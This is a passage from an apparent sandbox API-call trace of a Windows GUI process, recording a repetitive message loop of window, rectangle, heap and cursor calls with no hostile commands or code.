lprcDst=0x30e9b4) returned 1 [0146.878] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0146.878] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.878] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0146.878] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0146.878] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0146.878] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0146.878] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0146.878] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0146.878] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0146.878] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0146.878] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.878] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0146.878] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0146.879] GetCurrentThreadId () returned 0xcd8 [0146.879] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0146.879] PtInRect (lprc=0x30f3d0, pt=0x282) returned 1 [0146.879] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0xfb0282, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0146.879] NtdllDefWindowProc_W () returned 0x0 [0146.879] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0146.879] GetCurrentThreadId () returned 0xcd8 [0146.879] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0146.879] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0146.879] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0146.879] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0146.879] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0146.879] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0146.879] GetCapture () returned 0x0 [0146.879] WindowFromPoint (Point=0x339) returned 0x60018 [0146.879] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0146.879] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0146.879] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0146.879] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0146.880] GetCurrentThreadId () returned 0xcd8 [0146.880] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0146.933] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0146.933] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0146.933] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0146.933] PtInRect (lprc=0x30f570, pt=0x282) returned 1 [0146.933] GetCurrentThreadId () returned 0xcd8 [0146.933] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0146.933] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0146.933] GetMessageTime () returned 275060 [0146.933] GetMessagePos () returned 0x1c80339 [0146.933] GetCapture () returned 0x0 [0146.933] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0146.933] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0146.933] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0146.933] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.934] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0146.934] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0146.934] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0146.934] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0146.934] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0146.934] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0146.934] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.934] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0146.934] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0146.934] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0146.934] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0146.934] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0146.934] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0146.934] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0146.934] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0146.934] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.934] PtInRect (lprc=0x30f348, pt=0x282) returned 1 [0146.934] PtInRect (lprc=0x30f1ec, pt=0xfa32) returned 1 [0146.934] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0146.934] GetCursor () returned 0x10003 [0146.934] GetCurrentThreadId () returned 0xcd8 [0146.934] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0146.934] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0146.934] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0146.935] GetMessageTime () returned 275107 [0146.935] GetMessagePos () returned 0x1c80339 [0146.935] GetCapture () returned 0x0 [0146.935] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0146.935] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0146.935] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0146.935] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.935] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0146.935] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0146.935] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0146.935] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0146.935] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0146.935] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0146.935] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.935] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0146.935] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0146.935] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0146.935] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0146.935] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0146.935] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0146.935] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0146.935] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0146.935] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0146.936] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0146.936] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0146.936] GetCurrentThreadId () returned 0xcd8 [0146.936] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0146.936] PtInRect (lprc=0x30f3d0, pt=0x282) returned 1 [0146.936] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0xfb0282, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0146.936] NtdllDefWindowProc_W () returned 0x0 [0146.936] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0146.936] GetCurrentThreadId () returned 0xcd8 [0146.936] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0147.032] NtdllDefWindowProc_W () returned 0x10027 [0147.032] NtdllDefWindowProc_W () returned 0x30245 [0147.033] NtdllDefWindowProc_W () returned 0x0 [0147.033] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0147.033] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0147.033] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0147.033] PtInRect (lprc=0x30f570, pt=0x282) returned 1 [0147.033] GetCurrentThreadId () returned 0xcd8 [0147.033] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0147.033] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0147.033] GetMessageTime () returned 275107 [0147.033] GetMessagePos () returned 0x1c80339 [0147.033] GetCapture () returned 0x0 [0147.034] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0147.034] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0147.034] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0147.034] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.034] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0147.034] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0147.034] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0147.034] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0147.034] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0147.034] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0147.034] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.034] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0147.034] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0147.034] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0147.034] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0147.034] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0147.034] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0147.034] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0147.034] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0147.034] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.034] PtInRect (lprc=0x30f348, pt=0x282) returned 1 [0147.034] PtInRect (lprc=0x30f1ec, pt=0xfa32) returned 1 [0147.034] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0147.034] GetCursor () returned 0x10003 [0147.034] GetCurrentThreadId () returned 0xcd8 [0147.034] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0147.034] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0147.035] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0147.035] GetMessageTime () returned 275216 [0147.035] GetMessagePos () returned 0x1c80339 [0147.035] GetCapture () returned 0x0 [0147.035] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0147.035] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0147.035] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0147.035] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.035] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0147.035] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0147.035] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0147.035] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0147.035] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0147.035] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0147.035] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.035] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0147.035] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0147.035] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0147.035] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0147.035] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0147.035] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0147.035] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0147.035] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0147.035] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.036] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0147.036] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0147.036] GetCurrentThreadId () returned 0xcd8 [0147.036] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0147.036] PtInRect (lprc=0x30f3d0, pt=0x282) returned 1 [0147.036] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0xfb0282, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0147.036] NtdllDefWindowProc_W () returned 0x0 [0147.037] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0147.037] GetCurrentThreadId () returned 0xcd8 [0147.037] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0147.139] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0147.139] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0147.139] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0147.139] PtInRect (lprc=0x30f570, pt=0x282) returned 1 [0147.139] GetCurrentThreadId () returned 0xcd8 [0147.139] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0147.139] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0147.139] GetMessageTime () returned 275216 [0147.139] GetMessagePos () returned 0x1c80339 [0147.139] GetCapture () returned 0x0 [0147.139] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0147.139] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0147.139] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0147.139] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.139] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0147.139] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0147.139] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0147.140] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0147.140] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0147.140] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0147.140] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.140] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0147.141] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0147.141] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0147.141] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0147.141] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0147.141] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0147.141] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0147.141] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0147.141] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.141] PtInRect (lprc=0x30f348, pt=0x282) returned 1 [0147.141] PtInRect (lprc=0x30f1ec, pt=0xfa32) returned 1 [0147.141] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0147.141] GetCursor () returned 0x10003 [0147.141] GetCurrentThreadId () returned 0xcd8 [0147.141] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0147.141] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0147.141] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0147.141] GetMessageTime () returned 275310 [0147.141] GetMessagePos () returned 0x1c80339 [0147.141] GetCapture () returned 0x0 [0147.141] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0147.142] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0147.142] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0147.142] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.142] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0147.142] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0147.142] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0147.142] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0147.142] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0147.142] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0147.142] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.142] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0147.142] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0147.142] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0147.142] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0147.142] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0147.142] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0147.142] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0147.142] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0147.142] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0147.142] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0147.142] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0147.143] GetCurrentThreadId () returned 0xcd8 [0147.143] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0147.143] PtInRect (lprc=0x30f3d0, pt=0x282) returned 1 [0147.143] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0xfb0282, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0147.143] NtdllDefWindowProc_W () returned 0x0 [0147.143] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0147.143] GetCurrentThreadId () returned 0xcd8 [0147.143] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0147.187] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0147.187] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0147.187] GetCapture () returned 0x0 [0147.187] WindowFromPoint (Point=0x339) returned 0x60018 [0147.187] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0147.188] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0147.188] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0147.188] PtInRect (lprc=0x30f390, pt=0x282) returned 1 [0147.188] GetCurrentThreadId () returned 0xcd8 [0147.188] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: 